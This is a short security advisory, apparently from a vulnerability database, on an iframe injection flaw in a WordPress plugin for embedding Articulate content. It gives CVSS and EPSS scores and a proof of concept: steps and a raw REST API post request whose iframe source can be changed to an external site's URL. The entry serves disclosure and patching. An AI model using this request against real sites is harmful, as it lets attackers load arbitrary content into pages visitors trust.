Insert or Embed Articulate Content into WordPress <= 4.3000000023 - Iframe Injection

2024-05-1400:00:00

Dmitrii Ignatyev

articulate

content

wordpress

iframe

injection

exploit

update

poc

CVSS3

5.4

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

AI Score

6.8

Confidence

High

EPSS

Percentile

14.0%

JSON

Description The plugin lacks validation of URLs when adding iframes, allowing attackers to inject an iFrame in the page and thus load arbitrary content from any page.

1) Create a new post
2) Add and e-Learning block and upload a zip file
3) Select the "Insert As: Iframe" option
4) Intercept the request to create a new post and in the body:

```
POST /index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F236&_locale=user HTTP/2

{"id":236,"content":"<!-- wp:e-learning/block {\"src\":\"/wp-content/uploads/articulate_uploads/__ARCHIVE_NAME__/main.html\",\"href\":\"/wp-content/uploads/articulate_uploads/__ARCHIVE_NAME__/main.html\"} /-->","status":"publish"}
```

change the `src` to a URL of an external site.
5) Open the new post and see that it loads the content from the original source